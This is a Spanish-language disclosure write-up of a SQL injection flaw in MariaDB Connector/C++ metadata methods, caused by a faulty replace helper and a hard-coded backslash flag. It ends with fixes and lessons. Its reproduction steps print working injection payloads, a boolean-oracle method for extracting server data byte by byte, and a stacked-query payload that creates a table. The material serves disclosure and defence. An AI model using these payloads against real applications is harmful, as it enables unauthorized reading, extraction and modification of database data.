Resumen
MariaDB Connector/C++ construye por dentro consultas contra information_schema cada vez que una aplicación llama a métodos de DatabaseMetaData como getTables o getColumns. Los nombres de tabla, esquema o columna que recibe se meten en esas consultas como literales, después de pasar por Utils::escapeString. El problema es que ese escapador estaba roto de dos maneras independientes, y cualquiera de las dos bastaba para salir del literal e inyectar SQL.
Fallo 1: la función de reemplazo se pisa a sí misma. Utils::escapeString usa el ayudante sql::mariadb::replace, implementado en src/util/String.cpp:64-76:
SQLString& replaceInternal(SQLString& str, const SQLString& _substr, const SQLString &subst)
{
size_t pos= 0, prev= 0;
...
while ((pos= real.find(substr, prev)) != std::string::npos)
{
real.replace(pos, substr.length(), realSub);
prev+= realSub.length();
}
Tras cada sustitución, el cursor de búsqueda debería quedar en pos + realSub.length(), justo detrás de lo que se acaba de insertar. En cambio, prev solo va sumando la longitud de la sustitución desde cero (2, 4, 6…). Si el carácter estaba en la posición p, la siguiente búsqueda empieza por detrás de él, vuelve a encontrar lo que el propio bucle insertó y lo reemplaza otra vez, hasta que prev sobrepasa la racha. Un solo carácter de entrada acaba convertido en unos p+1 caracteres.
El escapador hace dos pasadas con ese ayudante (src/util/Utils.cpp:66-81):
SQLString escaped= replace(value, "'", "''");
if (noBackslashEscapes){
return escaped;
}
return replace(escaped, "\\", "\\\\");
Duplicar comillas siempre da un número par, así que esa pasada sobrevive a la multiplicación. Duplicar barras invertidas no: según el informe, una barra en la posición 5 sale como siete barras. Con una racha impar queda una barra "viva" que escapa la comilla siguiente y deja el literal abierto.
Fallo 2: los ayudantes no se ponen de acuerdo sobre la barra invertida. En MariaDbDatabaseMetaData.cpp hay tres funciones que escapan argumentos de metadatos:
:526 return "'" + Utils::escapeString(value, connection->getProtocol()->noBackslashEscapes()) + "'";
:570 return "("+columnName +" "+predicate +" '" + Utils::escapeString(tableName,true)+"')";
:580 return "(" + columnName + " " + predicate + " '" + Utils::escapeString(schemaName, true) + "')";
escapeQuote (línea 526) consulta el modo real del servidor. patternCond (570) y schemaPatternCond (580) pasan true fijo, es decir, le dicen al escapador que la barra invertida no es carácter de escape. Pero con el sql_mode por defecto (sin NO_BACKSLASH_ESCAPES) sí lo es, así que esas dos funciones nunca escapaban las barras.
El investigador lo midió en lugar de suponerlo: probó 336 formas de payload contra cuatro compilaciones distintas.
[STOCK HEAD c57f17f ] payload shapes tried=336 injecting shapes=42
[fix A only (escape flag)] payload shapes tried=336 injecting shapes=36
[fix B only (replaceInt.)] payload shapes tried=336 injecting shapes=0
[fix A + fix B ] payload shapes tried=336 injecting shapes=0
Corregir solo el indicador fijo dejaba 36 formas funcionando, porque activaba un duplicado de barras que seguía multiplicándose en rachas impares. Corregir replaceInternal cerraba todas las probadas.
Superficie afectada. patternCond y schemaPatternCond las usan getTables, getColumns, getPrimaryKeys, getProcedures, getProcedureColumns, getFunctions, getFunctionColumns, getColumnPrivileges y getTablePrivileges. escapeQuote, que comparte el replace defectuoso, alimenta otras catorce llamadas a catalogCond. Además, MariaDbConnection::quoteIdentifier (líneas 85-87) y el método público MariaDbStatement::enquoteIdentifier (línea 375) se apoyan en el mismo replace, así que también la API del propio conector para entrecomillar identificadores estaba afectada. Todo ello en el commit c57f17f.
Pasos de reproducción
Requisito: que el atacante controle una cadena que la aplicación pase a un método de DatabaseMetaData. No hace falta ninguna opción de conexión especial y el servidor solo necesita su sql_mode por defecto.
- Arrancar MariaDB 11.4 con el
sql_modepor defecto. Crear el esquemapocdbcon las tablasalphayzsecret, y el esquemaotherdbcon una tablaalpha.
- Comprobar el comportamiento normal: la aplicación llama a
getTablespidiendo solo la tablaalphay recibe una fila.
=== BENIGN CONTROL: tableNamePattern = "alpha" ===
row: pocdb.alpha
[benign] rows=1
- Pasar como
tableNamePatternun valor controlado por el atacante:
alpha\' OR 1=1 OR TABLE_NAME LIKE '
Según el registro general del servidor, el conector genera esta condición:
WHERE (TABLE_SCHEMA = 'pocdb') AND (TABLE_NAME LIKE 'alpha\'''''''' OR 1=1 OR TABLE_NAME LIKE '''''''''''''''''''''''''''''')
La barra se come la primera comilla, los tres pares siguientes quedan como comillas literales y la séptima cierra el literal, de modo que OR 1=1 queda como código SQL. Resultado: aparece zsecret, que la aplicación no había pedido.
=== POSITIVE 1: literal breakout, force the predicate true ===
row: pocdb.alpha
row: pocdb.zsecret
[OR 1=1] rows=2
- Repetir la inyección a través de
schemaPattern. La restricción de esquema se salta y se devuelve una tabla de otra base de datos:
=== POSITIVE 2: cross-schema, inject via schemaPattern ===
row: otherdb.alpha
row: pocdb.alpha
[schema OR 1=1] rows=2
- Meter una subconsulta en la misma rotura para obtener un oráculo booleano (dos filas = verdadero, cero = falso) y extraer datos byte a byte, aunque la aplicación siga pidiendo solo
alpha:
control: 1=1 rows=2 TRUE
control: 1=2 rows=0 FALSE
mysql.user count > 100 rows=0 FALSE
mysql.user count > 0 rows=2 TRUE
@@version starts with '1' (0x31) rows=2 TRUE
@@version starts with '9' (0x39) rows=0 FALSE
Byte-by-byte extraction of @@version via the same oracle:
recovered @@version prefix = "11?4?1"
Los dos ? son puntos, que quedan por debajo del valor mínimo (0x30) que recorría el bucle de prueba.
- Control negativo: con
replaceInternalcorregido (poc/fix/F2_rootcause_fix.diff), las mismas 336 formas de payload no inyectan ninguna y el conector emite un literal bien escapado.
Impacto
Demostrado contra un servidor real:
- Lectura de filas que la aplicación no había pedido (
pocdb.zsecret). - Acceso a información de otra base de datos pese a que la llamada restringía el esquema (
otherdb.alpha). - Extracción a ciegas, byte a byte, de valores arbitrarios del servidor mediante un oráculo booleano (se recuperó
@@version).
El investigador señala como expuestas las aplicaciones que dejan al usuario elegir qué tabla o esquema inspeccionar, las herramientas y consolas de administración de bases de datos, los ORM que leen el esquema a partir de un nombre recibido y los servicios multiinquilino que derivan el nombre del esquema de datos del inquilino. Las que solo pasan constantes fijas en el código no se ven afectadas.
Escritura, encadenando otro fallo. En un informe aparte, el investigador describe que Connector/C++ pasa siempre CLIENT_MULTI_STATEMENTS a mysql_real_connect (en ConnectProtocol.cpp:474) y descarta la máscara de capacidades que había calculado, por lo que las sentencias apiladas quedan activas aunque allowMultiQueries esté en su valor por defecto, false. Combinados, un argumento de getTables ejecuta sentencias adicionales arbitrarias. Lo confirmó creando una tabla:
WHERE (TABLE_SCHEMA = 'pocdb') AND (TABLE_NAME LIKE 'alpha\'''''''') ; CREATE TABLE pocdb.canary_c (id INT); -- ')
Remediación
El reporte figura como resuelto, pero no detalla qué cambio aplicó MariaDB. Lo que propone el investigador:
- Corregir
replaceInternalpara que el cursor avance apos + realSub.length()(la corrección que cerró las 336 formas probadas). - Dejar de fijar
trueenpatternCondyschemaPatternCondy usar el modo real del servidor, como ya haceescapeQuote. - Como arreglo duradero, pasar estos valores por
mysql_real_escape_string, igual que se hizo con los valores de parámetros en CONCPP-153.
Qué aprender de este caso
- En cualquier función casera de "buscar y reemplazar todo", revisa a dónde avanza el cursor tras cada sustitución: si puede volver a encontrar lo que acaba de insertar (por ejemplo,
\→\\), el resultado depende de la posición y puede dejar un carácter de escape suelto. Prueba la función con el carácter en distintas posiciones, no solo al principio. - Los métodos de metadatos de los conectores (
getTables,getColumns,quoteIdentifier…) también construyen SQL por dentro con lo que les pasas. Si tu aplicación les entrega nombres de tabla o esquema que vienen del usuario, trátalos como entrada no confiable y compáralos antes con una lista de nombres permitidos. - Un escapador que recibe como parámetro "¿la barra invertida escapa?" solo es correcto si ese valor sale del
sql_modereal del servidor; untruefijo en el código lo desactiva sin que nada falle a la vista. Busca llamadas que pasen constantes en ese tipo de parámetro. - Si una librería ofrece su propio escapado (aquí,
mysql_real_escape_string), úsalo en vez de reimplementarlo; y comprueba que las sentencias múltiples estén de verdad desactivadas, porque convierten una inyección de lectura en una de escritura.